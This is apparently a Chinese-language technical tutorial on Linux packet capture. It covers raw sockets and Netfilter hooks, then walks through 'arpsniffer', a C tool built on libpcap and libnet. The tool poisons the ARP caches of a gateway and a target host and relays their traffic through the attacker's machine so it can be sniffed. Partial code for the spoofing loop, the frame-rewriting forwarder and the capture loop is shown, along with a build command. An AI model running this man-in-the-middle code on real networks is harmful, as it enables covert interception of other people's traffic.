在应用层抓包用raw socket,就是fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); 实际中常见的iptables是在ip协议栈上实现的,也就是Netfilter 还有ebtables,它的数据截获点比iptables 更“靠前”,它获得的数据更“原始”,ebtables多用于桥模式,比如控制 VLAN ID等 还有arptables,类似于iptables,iptables工作于ip层,用于对ip包进行管理,arptables工作与arp协议层,用于对arp数据帧进行管理
Netfilter Netfilter在IP协议栈中有一些调用入口,包括,流入,流出,转发之类的地方,通过注册Netfilter模块可以将你需要的函数挂接到这些入口,就可以截取网络数据了
nfho.hook = hook_func; nfho.hooknum = NF_IP_PRE_ROUTING; nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; 第一行就是hook函数, 第二行设定挂接位置,包括: NF_IP_PRE_ROUTING,在报文作路由以前执行 NF_IP_FORWARD,在报文转向另一个NIC以前执行; NF_IP_POST_ROUTING,在报文流出以前执行; NF_IP_LOCAL_IN,在流入本地的报文作路由以后执行; NF_IP_LOCAL_OUT,在本地报文做流出路由前执行。 然后第三行第四行就是协议类型和优先级了 然后通过nf_register_hook函数将其挂入Netfilter框架中就可以了 整个是一个linux的模块,所以需要init_module()之类的模块函数
arpsniffer 先要安装下面两个库,这两个库用途是 Libpcap提供了系统独立的用户级别网络数据包捕获接口;Tcpdump就是依赖这个库来实现包的抓取 Libnet提供了一个对底层网络数据包进行构造、修改和发送的高级接口,arpsniffer就是利用这个库函数自行组包
初始化操作 pcap_lookupnet()得到要抓取的网络设备的字符串 pcap_open_live()被用来得到一个包抓取得描述符lpcap,PROMISC参数就是设置为混杂模式 libnet_init()得到一个组包的描述符lnet,LIBNET_LINK是基于link_layer的链路层数据包,还可以选择基于IP层的raw数据包
char dev[32]=""; libnet_t* lnet; pcap_t* lpcap; ...... ret = pcap_lookupnet(dev,&netp,&maskp,err); if(ret == -1) { printf("Can't initialize PCAP![%s]\n",err); return FALSE; } lpcap = pcap_open_live( dev, MAXBUF, PROMISC, PCAP_TOUT, err ); lnet = libnet_init( LIBNET_LINK, dev, err); ......
用ipmacaddr结构来记录网关,本机及目标机的MAC和IP,并利用Libpcap库函数得到相应的值 W是网关 M是本机 S是目标
/* * W , S , M 's ip and mac address */ struct ipmacaddr { u_char ipW[4]; u_char macW[6]; u_char ipS[4]; u_char macS[6]; u_char ipM[4]; u_char macM[6]; };
欺骗网关 有了MAC和IP后,子进程每6S,网关的IP+本机MAC发ARP到目标机,目标机IP+本机MAC发ARP到网关 父进程处理源是网关MAC和目标机MAC的,且目的MAC是本机的包 网关到本机包,修改为本机到目标机;目标机到本机包,修改为本机到网关
正常情况下: 目标机包到网关,之后经过NAT就出去了 现在: 目标机包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为网关MAC 网关包的目的MAC为本机MAC,代码中处理为本机MAC为发,目的MAC为目标机MAC 本机就相当于做了一个桥一样,目标机的包不管是收发都经过了本机,这样可以在本机上抓到目标机的所有包了
...... pid = fork(); if(pid==0) { arpspoof(lnet,&ipmac); return FALSE; }else { agentpacket(lnet,lpcap,&ipmac,port); }
...... /*Send spoof arp S And W every 6 second interval*/ void arpspoof(libnet_t* lnet,struct ipmacaddr* ipmac) { while(TRUE) { arpsend(lnet,ipmac->macM,ipmac->ipS,ipmac->macW,ipmac->ipW); arpsend(lnet,ipmac->macM,ipmac->ipW,ipmac->macS,ipmac->ipS); sleep(6); } } ...... /*Forward packets W--->S or S--->W*/ int forwarddate(libnet_t* lnet,const u_char* packet,int len,u_char* macW,u_char* macS,u_char* macM) { int ret=0; const u_char* datapoint=packet; struct ether_header* ethhdr; struct iphead* iph;
ethhdr = (struct ether_header*) datapoint;
if(ntohs(ethhdr->ether_type)!=ETHERTYPE_IP) return TRUE; if(!memcmp(ethhdr->ether_shost,macM,6)) /*if the Source Mac is agent(M)'s come back*/ return TRUE; if(memcmp(ethhdr->ether_dhost,macM,6)) /*if the Source Mac Destination is't agent(M)'s come back*/ return TRUE; if(!memcmp(ethhdr->ether_shost,macW,6)) /*if the Source Mac is W's(Workstation)*/ { memcpy(ethhdr->ether_shost,macM,6); memcpy(ethhdr->ether_dhost,macS,6); ret = libnet_write_link( lnet, (u_char*)datapoint, len ); } if(!memcmp(ethhdr->ether_shost,macS,6)) /*if the Source Mac is S S's(server)*/ { memcpy(ethhdr->ether_shost,macM,6); memcpy(ethhdr->ether_dhost,macW,6); ret = libnet_write_link( lnet, (u_char*)datapoint, len ); }
return TRUE; } ...... /*Sniffer packets*/ int agentpacket(libnet_t* lnet,pcap_t* lpcap,struct ipmacaddr* ipmac,int* port) { const u_char* packet; struct pcap_pkthdr hdr; while(1) { packet=pcap_next(lpcap,&hdr); if(packet==NULL || hdr.len==0) continue; parsedate(packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM,ipmac->ipW,ipmac->ipS,port); forwarddate(lnet,packet,hdr.len,ipmac->macW,ipmac->macS,ipmac->macM); }
return TRUE; } ......
小结 gcc -o arpsniffer arpsniffer.c -I/usr/local/include -L/usr/local/lib -lpcap -lnet libnet函数调用需要在root下运行